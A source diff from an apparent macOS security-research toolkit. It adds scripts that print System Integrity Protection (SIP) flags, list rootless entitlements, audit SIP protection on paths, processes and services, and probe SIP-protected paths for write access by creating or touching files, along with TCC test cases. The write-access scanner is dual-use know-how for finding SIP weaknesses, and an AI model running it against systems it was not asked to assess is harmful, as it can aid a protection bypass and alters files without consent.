print(f"CSR_ALLOW_TASK_FOR_PID: {'On' if sip_int & CSR_ALLOW_TASK_FOR_PID else 'Off'}")
|
||||
print(f"CSR_ALLOW_KERNEL_DEBUGGER: {'On' if sip_int & CSR_ALLOW_KERNEL_DEBUGGER else 'Off'}")
|
||||
print(f"CSR_ALLOW_APPLE_INTERNAL: {'On' if sip_int & CSR_ALLOW_APPLE_INTERNAL else 'Off'}")
|
||||
print(f"CSR_ALLOW_UNRESTRICTED_DTRACE: {'On' if sip_int & CSR_ALLOW_UNRESTRICTED_DTRACE else 'Off'}")
|
||||
print(f"CSR_ALLOW_UNRESTRICTED_NVRAM: {'On' if sip_int & CSR_ALLOW_UNRESTRICTED_NVRAM else 'Off'}")
|
||||
print(f"CSR_ALLOW_DEVICE_CONFIGURATION: {'On' if sip_int & CSR_ALLOW_DEVICE_CONFIGURATION else 'Off'}")
|
||||
print(f"CSR_ALLOW_ANY_RECOVERY_OS: {'On' if sip_int & CSR_ALLOW_ANY_RECOVERY_OS else 'Off'}")
|
||||
print(f"CSR_ALLOW_UNAPPROVED_KEXTS: {'On' if sip_int & CSR_ALLOW_UNAPPROVED_KEXTS else 'Off'}")
|
||||
print(f"CSR_ALLOW_EXECUTABLE_POLICY_OVERRIDE: {'On' if sip_int & CSR_ALLOW_EXECUTABLE_POLICY_OVERRIDE else 'Off'}")
|
||||
print(f"CSR_ALLOW_UNAUTHENTICATED_ROOT: {'On' if sip_int & CSR_ALLOW_UNAUTHENTICATED_ROOT else 'Off'}")
|
||||
|
||||
def main():
|
||||
sip_int = ctypes.c_uint32(0)
|
||||
result = libSystem.csr_get_active_config(ctypes.byref(sip_int))
|
||||
if result == 0:
|
||||
print_sip_flags(sip_int.value)
|
||||
else:
|
||||
print("Failed to get SIP configuration")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
47
VIII. Sandbox/mac/sip_entitlements.txt
Normal file
47
VIII. Sandbox/mac/sip_entitlements.txt
Normal file
@@ -0,0 +1,47 @@
|
||||
com.apple.rootless.critical
|
||||
com.apple.rootless.datavault.metadata
|
||||
com.apple.rootless.install
|
||||
com.apple.rootless.install.heritable
|
||||
com.apple.rootless.internal-installer-equivalent
|
||||
com.apple.rootless.restricted-block-devices
|
||||
com.apple.rootless.restricted-block-devices.read
|
||||
com.apple.rootless.restricted-nvram-variables.heritable
|
||||
com.apple.rootless.storage.Accessibility
|
||||
com.apple.rootless.storage.AudioSettings
|
||||
com.apple.rootless.storage.ClassKit
|
||||
com.apple.rootless.storage.ConfigurationProfilesPrivate
|
||||
com.apple.rootless.storage.CoreAnalytics
|
||||
com.apple.rootless.storage.CoreRoutine
|
||||
com.apple.rootless.storage.ExchangeSync
|
||||
com.apple.rootless.storage.ExtensibleSSO
|
||||
com.apple.rootless.storage.KernelExtensionManagement
|
||||
com.apple.rootless.storage.Mail
|
||||
com.apple.rootless.storage.MobileAsset
|
||||
com.apple.rootless.storage.QLThumbnailCache
|
||||
com.apple.rootless.storage.RoleAccountStaging
|
||||
com.apple.rootless.storage.SoftwareUpdate
|
||||
com.apple.rootless.storage.SystemPolicyConfiguration
|
||||
com.apple.rootless.storage.TCC
|
||||
com.apple.rootless.storage.UpdateSettings
|
||||
com.apple.rootless.storage.WebKitNetworkingSandbox
|
||||
com.apple.rootless.storage.WebKitWebContentSandbox
|
||||
com.apple.rootless.storage.com.apple.LaunchServices.dv
|
||||
com.apple.rootless.storage.com.apple.MobileAsset.DuetExpertCenterAsset
|
||||
com.apple.rootless.storage.com.apple.swc.data-vault
|
||||
com.apple.rootless.storage.coreduet_knowledge_store
|
||||
com.apple.rootless.storage.coreknowledge
|
||||
com.apple.rootless.storage.cvms
|
||||
com.apple.rootless.storage.datadetectors
|
||||
com.apple.rootless.storage.dmd
|
||||
com.apple.rootless.storage.dyld
|
||||
com.apple.rootless.storage.folders
|
||||
com.apple.rootless.storage.fpsd
|
||||
com.apple.rootless.storage.lockoutagent
|
||||
com.apple.rootless.storage.nsurlsessiond
|
||||
com.apple.rootless.storage.remotemanagementd
|
||||
com.apple.rootless.storage.sandbox
|
||||
com.apple.rootless.storage.siriremembers
|
||||
com.apple.rootless.storage.timezone
|
||||
com.apple.rootless.volume.VM
|
||||
com.apple.rootless.xpc.bootstrap
|
||||
com.apple.rootless.xpc.effective-root
|
||||
101
VIII. Sandbox/python/crimson_waccess.py
Normal file
101
VIII. Sandbox/python/crimson_waccess.py
Normal file
@@ -0,0 +1,101 @@
|
||||
import os
|
||||
import time
|
||||
import subprocess
|
||||
import sys
|
||||
|
||||
class Waccess:
|
||||
'''Class to check write permissions on directories and files.'''
|
||||
|
||||
def log_issue(self, path, issue_type, output_path):
|
||||
'''Log an issue when write permissions are unexpectedly granted.'''
|
||||
with open(output_path, "a") as log_file:
|
||||
log_data = (f"{time.strftime('%Y-%m-%d %H:%M:%S')} - {issue_type}: {path}\n")
|
||||
log_file.write(log_data)
|
||||
print(log_data, end="")
|
||||
|
||||
def check_write_permission(self, path, output_path):
|
||||
'''Check write permission for a directory or file.'''
|
||||
if os.path.isdir(path):
|
||||
self.check_directory_write_permission(path, output_path)
|
||||
elif os.path.isfile(path):
|
||||
self.check_file_write_permission(path, output_path)
|
||||
else:
|
||||
sys.stderr.write(f"Path {path} does not exist.")
|
||||
|
||||
def check_directory_write_permission(self, directory_path, output_path):
|
||||
'''Check if a directory is writable by attempting to create a test file.'''
|
||||
test_file_path = os.path.join(directory_path, f"{int(time.time())}_crimson_write_test.txt")
|
||||
try:
|
||||
with open(test_file_path, "w") as f:
|
||||
f.write("This is a test.")
|
||||
os.remove(test_file_path)
|
||||
self.log_issue(directory_path, "Directory writable", output_path)
|
||||
except Exception:
|
||||
pass # Suppress errors for denied write operations
|
||||
|
||||
def check_file_write_permission(self, file_path, output_path):
|
||||
'''Check if a file is writable by attempting to 'touch' it.'''
|
||||
result = subprocess.run(['touch', file_path], capture_output=True)
|
||||
if result.returncode == 0:
|
||||
self.log_issue(file_path, "File writable", output_path)
|
||||
|
||||
def check_paths(self, paths_to_check, output_path, recursive):
|
||||
'''Iterate through paths and check permissions.'''
|
||||
checked_paths = set()
|
||||
while paths_to_check:
|
||||
path = paths_to_check.pop()
|
||||
if path in checked_paths:
|
||||
continue
|
||||
checked_paths.add(path)
|
||||
|
||||
base_path = path.rstrip('*') # Remove trailing asterisks for checking
|
||||
if path.endswith('*'):
|
||||
self.check_write_permission(base_path, output_path)
|
||||
# Always check recursively if '*' is present
|
||||
if os.path.isdir(base_path):
|
||||
self.add_child_paths(base_path, paths_to_check, checked_paths)
|
||||
else:
|
||||
self.check_write_permission(path, output_path)
|
||||
if recursive and os.path.isdir(path):
|
||||
self.add_child_paths(path, paths_to_check, checked_paths)
|
||||
|
||||
return checked_paths
|
||||
|
||||
def add_child_paths(self, base_path, paths_to_check, checked_paths):
|
||||
'''Add child directories and files to the list to check.'''
|
||||
for root, dirs, files in os.walk(base_path):
|
||||
for dir_name in dirs:
|
||||
child_path = os.path.join(root, dir_name)
|
||||
if child_path not in checked_paths:
|
||||
paths_to_check.add(child_path)
|
||||
for file_name in files:
|
||||
child_file_path = os.path.join(root, file_name)
|
||||
if child_file_path not in checked_paths:
|
||||
paths_to_check.add(child_file_path)
|
||||
|
||||
def check_sip_fp(self, file_path, output_path, recursive):
|
||||
'''Main function to check each file and directory from the provided list.'''
|
||||
try:
|
||||
with open(file_path, "r") as paths_file:
|
||||
paths_to_check = {line.strip() for line in paths_file if line.strip()}
|
||||
|
||||
checked_paths = self.check_paths(paths_to_check, output_path, recursive)
|
||||
|
||||
# Save all checked paths to a log file
|
||||
with open("crimson_waccess_checked_paths.log", "w") as checked_paths_file:
|
||||
for checked_path in checked_paths:
|
||||
checked_paths_file.write(f"{checked_path}\n")
|
||||
|
||||
except FileNotFoundError:
|
||||
sys.stderr.write(f"The file {file_path} does not exist.")
|
||||
|
||||
if __name__ == "__main__":
|
||||
import argparse
|
||||
parser = argparse.ArgumentParser(description="Check SIP-protected file and directory permissions.")
|
||||
parser.add_argument("-f", "--file", required=True, help="Path to the file containing paths to check.")
|
||||
parser.add_argument("-o", "--output", default="crimson_waccess.log", help="Path to the log file to write issues to.")
|
||||
parser.add_argument("-r", "--recursive", action="store_true", help="Check directories recursively.")
|
||||
|
||||
args = parser.parse_args()
|
||||
waccess = Waccess()
|
||||
waccess.check_sip_fp(args.file, args.output, args.recursive)
|
||||
405
VIII. Sandbox/python/sip_tester
Executable file
405
VIII. Sandbox/python/sip_tester
Executable file
@@ -0,0 +1,405 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import os
|
||||
import subprocess
|
||||
import argparse
|
||||
import lief
|
||||
import xattr
|
||||
import psutil
|
||||
import plistlib
|
||||
|
||||
ROOTLESS_CONF = '/System/Library/Sandbox/rootless.conf'
|
||||
ROOTLESS_PLIST = '/System/Library/Sandbox/com.apple.xpc.launchd.rootless.plist'
|
||||
|
||||
class MachOProcessor:
|
||||
def __init__(self, path):
|
||||
'''This class contains part of the code from the main() for the SnakeI: Mach-O part.'''
|
||||
self.macho_magic_numbers = {
|
||||
0xfeedface, # 32-bit Mach-O
|
||||
0xfeedfacf, # 64-bit Mach-O
|
||||
0xcefaedfe, # 32-bit Mach-O, byte-swapped
|
||||
0xcffaedfe, # 64-bit Mach-O, byte-swapped
|
||||
0xcafebabe, # Fat binary
|
||||
0xbebafeca # Fat binary, byte-swapped
|
||||
}
|
||||
self.path = os.path.abspath(path)
|
||||
self.binary = self.parseFatBinary()[0] # Does not matter which architecture we take here for this tool functionalities.
|
||||
|
||||
def isFileMachO(self):
|
||||
'''Check if file is Mach-O. '''
|
||||
try:
|
||||
with open(self.path, 'rb') as f:
|
||||
magic = f.read(4)
|
||||
if len(magic) < 4:
|
||||
return False
|
||||
magic_number = int.from_bytes(magic, byteorder='big')
|
||||
return magic_number in self.macho_magic_numbers
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
def parseFatBinary(self):
|
||||
'''Return Fat Binary object if file exists.'''
|
||||
if os.path.exists(self.path):
|
||||
if self.isFileMachO():
|
||||
return lief.MachO.parse(self.path)
|
||||
else:
|
||||
return None
|
||||
|
||||
def getCodeSignature(self):
|
||||
'''Returns information about the Code Signature.'''
|
||||
result = subprocess.run(["codesign", "-d", "-vvvvvv", self.path], capture_output=True)
|
||||
return result.stderr
|
||||
|
||||
def hasRestrictSegment(self):
|
||||
'''Check if binary contains __RESTRICT segment. Return True if it does.'''
|
||||
for segment in self.binary.segments:
|
||||
if segment.name.lower().strip() == "__restrict":
|
||||
return True
|
||||
return False
|
||||
|
||||
def hasRestrictFlag(self):
|
||||
'''Check if Code Signature flag CS_RESTRICT 0x800(restrict) is set for the given binary'''
|
||||
if b'restrict' in self.getCodeSignature():
|
||||
return True
|
||||
return False
|
||||
|
||||
def isRestricted(self):
|
||||
'''Check if binary has __RESTRICT segment or CS_RESTRICT flag set.'''
|
||||
if self.hasRestrictSegment() or self.hasRestrictFlag(self.path):
|
||||
return True
|
||||
return False
|
||||
|
||||
class FileSystemProcessor:
|
||||
def __init__(self):
|
||||
# File System Flags based on: https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/stat.h
|
||||
self.file_system_flags = {
|
||||
'ACCESSPERMS': 0o777, # 0777
|
||||
'ALLPERMS': 0o666, # 0666
|
||||
'DEFFILEMODE': (0o400 | 0o200 | 0o100 | 0o40 | 0o20 | 0o10), # Default file mode
|
||||
|
||||
# Owner changeable flags
|
||||
'UF_SETTABLE': 0x0000ffff, # mask of owner changeable flags
|
||||
'UF_NODUMP': 0x00000001, # do not dump file
|
||||
'UF_IMMUTABLE': 0x00000002, # file may not be changed
|
||||
'UF_APPEND': 0x00000004, # writes to file may only append
|
||||
'UF_OPAQUE': 0x00000008, # directory is opaque wrt. union
|
||||
'UF_COMPRESSED': 0x00000020, # file is compressed
|
||||
'UF_TRACKED': 0x00000040, # document ID tracking
|
||||
'UF_DATAVAULT': 0x00000080, # entitlement required for reading/writing
|
||||
'UF_HIDDEN': 0x00008000, # hint for GUI display
|
||||
|
||||
# Super-user changeable flags
|
||||
'SF_SUPPORTED': 0x009f0000, # mask of superuser supported flags
|
||||
'SF_SETTABLE': 0x3fff0000, # mask of superuser changeable flags
|
||||
'SF_SYNTHETIC': 0xc0000000, # mask of system read-only synthetic flags
|
||||
'SF_ARCHIVED': 0x00010000, # file is archived
|
||||
'SF_IMMUTABLE': 0x00020000, # file may not be changed
|
||||
'SF_APPEND': 0x00040000, # writes to file may only append
|
||||
'SF_RESTRICTED': 0x00080000, # entitlement required for writing
|
||||
'SF_NOUNLINK': 0x00100000, # item may not be removed, renamed, or mounted on
|
||||
'SF_FIRMLINK': 0x00800000, # file is a firmlink
|
||||
'SF_DATALESS': 0x40000000, # file is a dataless object
|
||||
|
||||
# Extended flags
|
||||
'EF_MAY_SHARE_BLOCKS': 0x00000001, # file may share blocks with another file
|
||||
'EF_NO_XATTRS': 0x00000002, # file has no xattrs
|
||||
'EF_IS_SYNC_ROOT': 0x00000004, # file is a sync root for iCloud
|
||||
'EF_IS_PURGEABLE': 0x00000008, # file is purgeable
|
||||
'EF_IS_SPARSE': 0x00000010, # file has at least one sparse region
|
||||
'EF_IS_SYNTHETIC': 0x00000020, # a synthetic directory/symlink
|
||||
'EF_SHARES_ALL_BLOCKS': 0x00000040, # file shares all of its blocks with another file
|
||||
}
|
||||
|
||||
def pathExists(self,path):
|
||||
try:
|
||||
# Use the ls command to check if the path exists
|
||||
output = subprocess.check_output(['ls', path], stderr=subprocess.STDOUT)
|
||||
return True # If ls doesn't raise an error, the path exists
|
||||
except subprocess.CalledProcessError:
|
||||
return False # If ls raises an error, the path doesn't exist
|
||||
# I had to replace it to ls, because os.stat() does not handle symlink properly.
|
||||
|
||||
def isFile(self, path):
|
||||
'''Check if the path is a file.'''
|
||||
return os.path.isfile(path)
|
||||
|
||||
def isDirectory(self, path):
|
||||
'''Check if the path is a directory.'''
|
||||
return os.path.isdir(path)
|
||||
|
||||
def getFileFlags(self, path):
|
||||
'''Return a list of active flags for the given path.'''
|
||||
try:
|
||||
# Get file status
|
||||
stat_info = os.stat(path)
|
||||
|
||||
# Assuming `st_flags` is available and contains the flags
|
||||
flags = stat_info.st_flags # Adjust this if necessary
|
||||
|
||||
active_flags = {}
|
||||
for flag_name, flag_value in self.file_system_flags.items():
|
||||
if flags & flag_value:
|
||||
active_flags[flag_name] = flag_value
|
||||
|
||||
return active_flags
|
||||
except Exception as e:
|
||||
print(f"Error in FileSystemProcessor.getFileFlags: {e}")
|
||||
return None
|
||||
|
||||
def getExtendedAttributes(self, path):
|
||||
'''Return extended file attributes names.'''
|
||||
try:
|
||||
return xattr.listxattr(path)
|
||||
except Exception as e:
|
||||
print(f"Error in FileSystemProcessor.getExtendedAttributes: {e}")
|
||||
return None
|
||||
|
||||
class RootlessProcessor:
|
||||
def __init__(self):
|
||||
self.fs_processor = FileSystemProcessor()
|
||||
self.protected_paths, self.excluded_paths, self.service_exceptions = self.parseRootlessConf()
|
||||
|
||||
def extract_excluded_paths(self, line):
|
||||
'''Extract the path from a line that starts with '*' and contains a path after spaces.
|
||||
* /Users
|
||||
'''
|
||||
# Remove the leading '*' and any whitespace before the first letter
|
||||
path = line.lstrip('*').lstrip()
|
||||
return path
|
||||
|
||||
def extract_protected_paths(self, line):
|
||||
'''Extract the path from a line that starts with ' ' and contains a path after spaces.
|
||||
/System
|
||||
'''
|
||||
path = line.strip()
|
||||
return path
|
||||
|
||||
def extract_service_exceptions(self, line):
|
||||
'''Extract service exceptions in the format {key:value}.'''
|
||||
parts = line.split(maxsplit=1) # Split the line into two parts: key and value
|
||||
if len(parts) == 2:
|
||||
key = parts[0].strip() # Pkey (e.g., CoreAnalytics)
|
||||
value = parts[1].strip() # value (e.g., /Library/CoreAnalytics)
|
||||
return {key: value}
|
||||
return None
|
||||
|
||||
def parseRootlessConf(self, rootless_conf_path=ROOTLESS_CONF):
|
||||
''' Return a list of paths that are protected and excluded by SIP from rootless.conf. '''
|
||||
protected_paths = []
|
||||
excluded_paths = []
|
||||
service_exceptions = {}
|
||||
with open(rootless_conf_path, 'r') as file:
|
||||
for line in file:
|
||||
if line.startswith('#'):
|
||||
continue # Skip commented lines
|
||||
|
||||
elif line.startswith('*'): # Excluded paths
|
||||
path = self.extract_excluded_paths(line)
|
||||
excluded_paths.append(path)
|
||||
|
||||
elif line[0].isalnum(): # Service exceptions
|
||||
key_value = self.extract_service_exceptions(line)
|
||||
key = next(iter(key_value))
|
||||
path = key_value[key]
|
||||
service_exceptions.update(key_value)
|
||||
|
||||
else: # Protected paths
|
||||
path = self.extract_protected_paths(line)
|
||||
protected_paths.append(path)
|
||||
|
||||
protected_paths.remove('/tmp')
|
||||
return protected_paths, excluded_paths, service_exceptions
|
||||
|
||||
def checkForServiceException(self, path):
|
||||
''' Check if the given path is a service exception and return the service names. '''
|
||||
service_exceptions = []
|
||||
for service_name, service_path in self.service_exceptions.items():
|
||||
if path == service_path:
|
||||
service_exceptions.append(service_name)
|
||||
|
||||
if service_exceptions:
|
||||
return service_exceptions
|
||||
return None
|
||||
|
||||
def makePathsToCheck(self, path):
|
||||
'''
|
||||
Make a list of paths to check by adding final slash at the end of string if it does not exist and remove it if it does.
|
||||
This is needed because the rootless.conf may contain paths without and with final slash.
|
||||
'''
|
||||
paths_to_check = [path]
|
||||
|
||||
if path.endswith('/'):
|
||||
paths_to_check.append(path)
|
||||
path = path[:-1]
|
||||
|
||||
elif not path.endswith('/'):
|
||||
path = path + '/'
|
||||
paths_to_check.append(path)
|
||||
|
||||
return paths_to_check
|
||||
|
||||
def checkIfPathIsProtectedByRootlessConf(self, path):
|
||||
''' Check if the given path is protected by SIP. In case of services exceptions, it will return the service name.'''
|
||||
protected_paths, excluded_paths, _ = self.parseRootlessConf()
|
||||
paths = self.makePathsToCheck(path)
|
||||
|
||||
if any(path in protected_paths for path in paths):
|
||||
return 1
|
||||
|
||||
elif any(path in excluded_paths for path in paths):
|
||||
return 2
|
||||
|
||||
elif any(path in self.service_exceptions.values() for path in paths):
|
||||
service_name = self.checkForServiceException(path)
|
||||
return service_name
|
||||
|
||||
else:
|
||||
return 3
|
||||
|
||||
def checkIfParentDirectoryIsProtectedByRootlessConf(self, path):
|
||||
'''Check if the parent directory of the given path is protected by SIP.'''
|
||||
protected_paths, _, _ = self.parseRootlessConf() # Get protected paths
|
||||
path = os.path.abspath(path) # Get absolute path
|
||||
parent_dir = os.path.dirname(path) # Get parent directory
|
||||
|
||||
# Check if the parent directory is in the list of protected paths
|
||||
if parent_dir in protected_paths:
|
||||
return True
|
||||
return False
|
||||
|
||||
def isRestrictedFlagSet(self, path):
|
||||
'''Check if the CS_RESTRICT flag is set for the given path.'''
|
||||
flags = self.fs_processor.getFileFlags(path)
|
||||
if flags and 'SF_RESTRICTED' in flags:
|
||||
return True
|
||||
return False
|
||||
|
||||
def isRestricedAttributeSet(self, path):
|
||||
'''Check if the com.apple.rootless extended attribute is set for the given path.'''
|
||||
xattr_value = self.fs_processor.getExtendedAttributes(path)
|
||||
if xattr_value and 'com.apple.rootless' in xattr_value:
|
||||
return True
|
||||
return False
|
||||
|
||||
def isRestrictedByRootlessPlist(self, service_name):
|
||||
'''Check if the given service is protected by the rootless.plist file.'''
|
||||
rootless_plist_path = ROOTLESS_PLIST
|
||||
|
||||
with open(rootless_plist_path, 'rb') as file:
|
||||
plist_data = plistlib.load(file)
|
||||
|
||||
# Check if the service_name is in RemovableServices
|
||||
removable_services = plist_data.get('RemovableServices', {})
|
||||
if service_name in removable_services:
|
||||
return 1
|
||||
|
||||
# Check if the service_name is in InstallerRemovableServices
|
||||
installer_removable_services = plist_data.get('InstallerRemovableServices', {})
|
||||
if service_name in installer_removable_services:
|
||||
return 2
|
||||
|
||||
return False
|
||||
|
||||
class SipTester:
|
||||
def __init__(self):
|
||||
self.rootless_processor = RootlessProcessor()
|
||||
self.fs_processor = FileSystemProcessor()
|
||||
|
||||
def checkRootlessConf(self, path):
|
||||
result = self.rootless_processor.checkIfPathIsProtectedByRootlessConf(path)
|
||||
|
||||
if result == 1:
|
||||
print(f"{path}: SIP-protected in rootless.conf")
|
||||
elif result == 2:
|
||||
print(f"{path} is not SIP-protected (excluded by rootless.conf)")
|
||||
elif result == 3:
|
||||
pass # print(f"{path}: does not exists in rootless.conf")
|
||||
else:
|
||||
print(f"{path} is SIP-protected, but {result} service is exception and has access to it")
|
||||
|
||||
def checkParentDirectory(self, path):
|
||||
if self.rootless_processor.checkIfParentDirectoryIsProtectedByRootlessConf(path):
|
||||
print(f"{path}: parent directory is protected by rootless.conf")
|
||||
|
||||
def checkFileSystemRestrictFlag(self, path):
|
||||
if self.rootless_processor.isRestrictedFlagSet(path):
|
||||
print(f"{path}: SF_RESTRICTED flag set")
|
||||
|
||||
def checkRestrictedAttribute(self, path):
|
||||
if self.rootless_processor.isRestricedAttributeSet(path):
|
||||
print(f"{path}: com.apple.rootless extended attribute is set")
|
||||
|
||||
def pathTester(self, path):
|
||||
path = os.path.abspath(path)
|
||||
self.checkRootlessConf(path)
|
||||
self.checkParentDirectory(path)
|
||||
self.checkFileSystemRestrictFlag(path)
|
||||
self.checkRestrictedAttribute(path)
|
||||
|
||||
def checkCodeSignatureRestrictedFlag(self, path):
|
||||
if MachOProcessor(path).hasRestrictFlag():
|
||||
print(f"{path}: CS_RESTRICT flag set on binary")
|
||||
|
||||
def checkRestrictSegment(self, path):
|
||||
if MachOProcessor(path).hasRestrictSegment():
|
||||
print(f"{path}: __restrict segment set on binary")
|
||||
|
||||
def pidTester(self, pid):
|
||||
try:
|
||||
process = psutil.Process(pid)
|
||||
path = process.exe()
|
||||
self.checkRootlessConf(path)
|
||||
self.checkParentDirectory(path)
|
||||
self.checkFileSystemRestrictFlag(path)
|
||||
self.checkRestrictedAttribute(path)
|
||||
self.checkCodeSignatureRestrictedFlag(path)
|
||||
self.checkRestrictSegment(path)
|
||||
except psutil.NoSuchProcess:
|
||||
print(f"Process with PID {pid} does not exist")
|
||||
|
||||
def checkRootlessPlist(self, service):
|
||||
if self.rootless_processor.isRestrictedByRootlessPlist(service) == 1:
|
||||
print(f"{service} is restricted by rootless.plist in RemovableServices.")
|
||||
|
||||
elif self.rootless_processor.isRestrictedByRootlessPlist(service) == 2:
|
||||
print(f"{service} is restricted by rootless.plist in InstallerRemovableServices.")
|
||||
|
||||
def serviceTester(self, service):
|
||||
self.checkRootlessPlist(service)
|
||||
|
||||
def missingPathsTester(self):
|
||||
all_paths = self.rootless_processor.protected_paths + list(self.rootless_processor.service_exceptions.values())
|
||||
missing_paths = []
|
||||
for path in all_paths:
|
||||
if path.endswith('*'):
|
||||
path = path[:-1]
|
||||
|
||||
if not self.fs_processor.pathExists(path):
|
||||
missing_paths.append(path)
|
||||
|
||||
if missing_paths:
|
||||
print("Paths from rootless.conf that are missing:")
|
||||
for path in missing_paths:
|
||||
print(f"{path}")
|
||||
|
||||
if __name__ == "__main__":
|
||||
parser = argparse.ArgumentParser(description="Check SIP protection")
|
||||
parser.add_argument('--path', help='Path to file or directory')
|
||||
parser.add_argument('--pid', help='PID of the process')
|
||||
parser.add_argument('--service', help='Launchd service name')
|
||||
parser.add_argument('--missing_paths', action='store_true', help='Show paths from rootless.conf that does not exists on the filesystem')
|
||||
|
||||
args = parser.parse_args()
|
||||
sip_tester = SipTester()
|
||||
|
||||
if args.path:
|
||||
sip_tester.pathTester(args.path)
|
||||
|
||||
if args.pid:
|
||||
sip_tester.pidTester(int(args.pid))
|
||||
|
||||
if args.service:
|
||||
sip_tester.serviceTester(args.service)
|
||||
|
||||
if args.missing_paths:
|
||||
sip_tester.missingPathsTester()
|
||||
@@ -1,7 +1,8 @@
|
||||
lief
|
||||
uuid
|
||||
argparse
|
||||
asn1crypto
|
||||
pyimg4
|
||||
treelib
|
||||
xattr
|
||||
lief=0.15.1
|
||||
uuid=1.30
|
||||
argparse=1.4.0
|
||||
asn1crypto=1.5.1
|
||||
pyimg4=0.8
|
||||
treelib=1.7.0
|
||||
xattr=1.1.0
|
||||
python-magic=0.4.27
|
||||
@@ -1 +1 @@
|
||||
../VIII. Sandbox/python/CrimsonUroboros.py
|
||||
../IX. TCC/python/CrimsonUroboros.py
|
||||
@@ -30,7 +30,7 @@ We do it for each TestSnake class.
|
||||
}
|
||||
'''
|
||||
|
||||
snake_class = SnakeVIII
|
||||
snake_class = SnakeIX
|
||||
|
||||
class Compiler:
|
||||
"""
|
||||
@@ -368,7 +368,7 @@ class TestSnakeI():
|
||||
macho_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
expected_output = 'Header flags: TWOLEVEL NOUNDEFS DYLDLINK PIE'
|
||||
expected_output = 'Header flags: NOUNDEFS DYLDLINK TWOLEVEL PIE'
|
||||
|
||||
assert uroboros_output == expected_output
|
||||
|
||||
@@ -402,7 +402,7 @@ class TestSnakeI():
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
expected_output_1 = 'ARM64'
|
||||
expected_output_2 = 'EXECUTE'
|
||||
expected_output_3 = 'NOUNDEFS DYLDLINK TWOLEVEL PIE'
|
||||
expected_output_3 = 'Flags: 2097285'
|
||||
|
||||
assert expected_output_1 in uroboros_output
|
||||
assert expected_output_2 in uroboros_output
|
||||
@@ -490,11 +490,11 @@ class TestSnakeI():
|
||||
macho_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
expected_output_1 = '__TEXT __text REGULAR 0x100003f58-0x100007eb0 0x3f58-0x3f8c (SOME_INSTRUCTIONS PURE_INSTRUCTIONS)'
|
||||
expected_output_2 = '__TEXT __stubs SYMBOL_STUBS 0x100003f8c-0x100007f18 0x3f8c-0x3f98 (SOME_INSTRUCTIONS PURE_INSTRUCTIONS)'
|
||||
expected_output_3 = '__TEXT __cstring CSTRING_LITERALS 0x100003f98-0x100007f30 0x3f98-0x3fa7 ()'
|
||||
expected_output_4 = '__TEXT __unwind_info REGULAR 0x100003fa8-0x100007f50 0x3fa8-0x4000 ()'
|
||||
expected_output_5 = '__DATA_CONST __got NON_LAZY_SYMBOL_POINTERS 0x100004000-0x100008000 0x4000-0x4008 ()'
|
||||
expected_output_1 = '__TEXT __text'
|
||||
expected_output_2 = '__TEXT __stubs'
|
||||
expected_output_3 = '__TEXT __cstring'
|
||||
expected_output_4 = '__TEXT __unwind_info'
|
||||
expected_output_5 = '__DATA_CONST __got'
|
||||
|
||||
assert expected_output_1 in uroboros_output
|
||||
assert expected_output_2 in uroboros_output
|
||||
@@ -710,9 +710,9 @@ class TestSnakeI():
|
||||
|
||||
expected_output_1 = 'Entry point: 0x3f58'
|
||||
expected_output_2 = '__mh_execute_header'
|
||||
expected_output_3 = '__PAGEZERO ---/--- VM: 0x0000000000000000-0x0000000100000000 FILE: 0x0-0x0'
|
||||
expected_output_4 = '__DATA_CONST0x100004000: _printf (libSystem.B.dylib) addend: 0x0'
|
||||
expected_output_5 = 'Command : SEGMENT_64'
|
||||
expected_output_3 = '__PAGEZERO'
|
||||
expected_output_4 = '__DATA_CONST0x100004000'
|
||||
expected_output_5 = 'Command: SEGMENT_64'
|
||||
|
||||
assert expected_output_1 in uroboros_output
|
||||
assert expected_output_2 in uroboros_output
|
||||
@@ -2430,7 +2430,6 @@ class TestSnakeVIII():
|
||||
|
||||
assert expected_output in uroboros_output
|
||||
|
||||
|
||||
def test_sandbox_entitlements(self):
|
||||
'''Test the --sandbox_entitlements flag of SnakeVIII.'''
|
||||
args_list = ['-b', "/System/Applications/Notes.app", '--sandbox_entitlements']
|
||||
@@ -2584,3 +2583,232 @@ class TestSnakeVIII():
|
||||
|
||||
assert expected_output in uroboros_output
|
||||
os.remove("sandbox")
|
||||
|
||||
class TestSnakeIX:
|
||||
'''Testing IX. TCC Permissions'''
|
||||
|
||||
@classmethod
|
||||
def setup_class(cls):
|
||||
pass # No compilation required
|
||||
|
||||
@classmethod
|
||||
def teardown_class(cls):
|
||||
pass # No decompilation required
|
||||
|
||||
def test_tcc_permission(self):
|
||||
'''Test the --tcc flag for general TCC permissions'''
|
||||
args_list = ['-b', "/System/Applications/Chess.app", '--tcc']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
tcc_processor = TCCProcessor()
|
||||
tcc_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
assert 'Error accessing /var/db/locationd/clients.plist' in uroboros_output
|
||||
|
||||
def test_tcc_fda(self):
|
||||
'''Test the --tcc_fda flag for Full Disk Access permission'''
|
||||
args_list = ['-b', "/System/Applications/Chess.app", '--tcc_fda']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
tcc_processor = TCCProcessor()
|
||||
tcc_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
assert 'FDA: False' in uroboros_output
|
||||
|
||||
def test_tcc_automation(self):
|
||||
'''Test the --tcc_automation flag for Automation TCC permission'''
|
||||
args_list = ['-b', "/System/Applications/Chess.app", '--tcc_automation']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
tcc_processor = TCCProcessor()
|
||||
tcc_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
assert 'Automation: False' in uroboros_output
|
||||
|
||||
